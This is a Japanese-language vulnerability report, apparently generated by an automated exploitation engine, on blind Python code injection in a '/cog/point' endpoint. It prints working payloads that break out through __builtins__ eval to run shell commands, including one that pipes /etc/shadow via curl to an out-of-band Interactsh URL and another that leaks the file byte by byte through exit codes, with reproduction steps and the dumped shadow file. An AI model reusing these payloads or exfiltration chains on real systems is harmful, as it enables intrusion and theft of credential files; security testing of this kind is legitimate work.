アウトオブバンドの持ち出し用ペイロードを実行して、/etc/shadow ファイルの内容を、制御下にある外部サーバーに送信します。目標は、待ち受けているサーバーでファイルの内容が受信されることを検証することによって、この脆弱性が機密データの窃取に悪用できることを確認することです。
発見された脆弱性:ブラインドPythonコードインジェクション
脆弱性の概要
'/cog/point' エンドポイントの 'expression' パラメーターに、ブラインドPythonコードインジェクションの脆弱性が特定されました。サーバーは与えられた式を評価しますが、コマンドの出力をHTTPレスポンスでは返しません。代わりに、実行されたコマンドの終了コードが返され、実行が成功した場合は '0' になります。これはコマンドが実行されたことを裏付けますが、結果はアウトオブバンドの手法で持ち出す必要があります。
概念実証
この脆弱性は、以下のペイロードを送信することで確認されました。
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
サーバーは 200 OK ステータスと {"values":[0.0]} を返しました。ここで 0.0 は os.system 呼び出しの終了コードであり、実行が行われたことを実証しています。
悪用のエビデンス
/etc/shadow ファイルを持ち出すために、Interactsh URLを使用して curl コマンドの出力を捕捉します。
持ち出し用ペイロード:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
再現手順
- Interactshセッションを開始して、一意のURLを取得します。
- 持ち出し用ペイロードをInteractsh URLとともにURLエンコードします。
- エンコードしたペイロードを 'expression' パラメーターに含め、脆弱なエンドポイントにGETリクエストを送信します。
- Interactshセッションで、受信したPOSTリクエストを確認します。このリクエストのボディに /etc/shadow ファイルの内容が含まれます。
Vulnerability Confirmation:
The server executes the os.system call, and the exit code (0) is returned in the 'values' field of the JSON response, confirming blind command execution.
Exfiltration Payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
`/etc/shadow` ファイルの最初の文字を読み取り、そのASCII値をコマンドの終了コードとして返すPythonペイロードを作成します。目標は、アウトオブバンドの手法が失敗したことを受けて、アプリケーションのレスポンスがこの終了コードを反映することを検証し、終了コードに基づくデータ持ち出しチャネルが実現可能であることを確認することです。
発見された脆弱性:終了コードを介したデータ持ち出しを伴うブラインドPythonコードインジェクション
脆弱性の概要
'/cog/point' エンドポイントの 'expression' パラメーターにおいて、ブラインドPythonコードインジェクションの脆弱性が特定され、悪用されました。サーバーは与えられた式を評価し、コマンドの直接の出力は返さないものの、実行されたコマンドの終了コードがJSONレスポンス内に返されます。この挙動を利用して、/etc/shadow ファイルの内容を1文字ずつ持ち出しました。
概念実証
この持ち出しは、一連のペイロードを送信することで実現されました。各ペイロードは、/etc/shadow ファイルから1文字を読み取り、それをASCII値に変換し、その値をコマンドの終了コードとして使用するように設計されています。
最初の文字のASCII値を取得するためのペイロードの例:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('exit `head -c 1 /etc/shadow | od -An -tu1`')")
悪用のエビデンス
/etc/shadow ファイルの内容全体が正常に持ち出され、アーティファクトとして添付されています。
再現手順
- この脆弱性は、特別に細工したペイロードを含むGETリクエストを脆弱なエンドポイントに送信することで再現できます。
- ファイルを持ち出す処理を自動化するために、Pythonスクリプトが作成されました。このスクリプトはファイルの内容を反復処理し、文字ごとに新しいリクエストを送信して、サーバーのレスポンスから終了コードをデコードします。
- 蓄積された文字によって、
/etc/shadowファイル全体が再構築されます。 /etc/shadow:
root:*:17885:0:99999:7:::
daemon:*:17885:0:99999:7:::
bin:*:17885:0:99999:7:::
sys:*:17885:0:99999:7:::
sync:*:17885:0:99999:7:::
games:*:17885:0:99999:7:::
man:*:17885:0:99999:7:::
lp:*:17885:0:99999:7:::
mail:*:17885:0:99999:7:::
news:*:17885:0:99999:7:::
uucp:*:17885:0:99999:7:::
proxy:*:17885:0:99999:7:::
www-data:*:17885:0:99999:7:::
backup:*:17885:0:99999:7:::
list:*:17885:0:99999:7:::
irc:*:17885:0:99999:7:::
gnats:*:17885:0:99999:7:::
nobody:*:17885:0:99999:7:::
_apt:*:17885:0:99999:7:::
これを再度実行すると、異なる悪用とペイロードにつながります。以下は、エンジンが内容を1バイトずつリークするコードを生成できた別の例です。
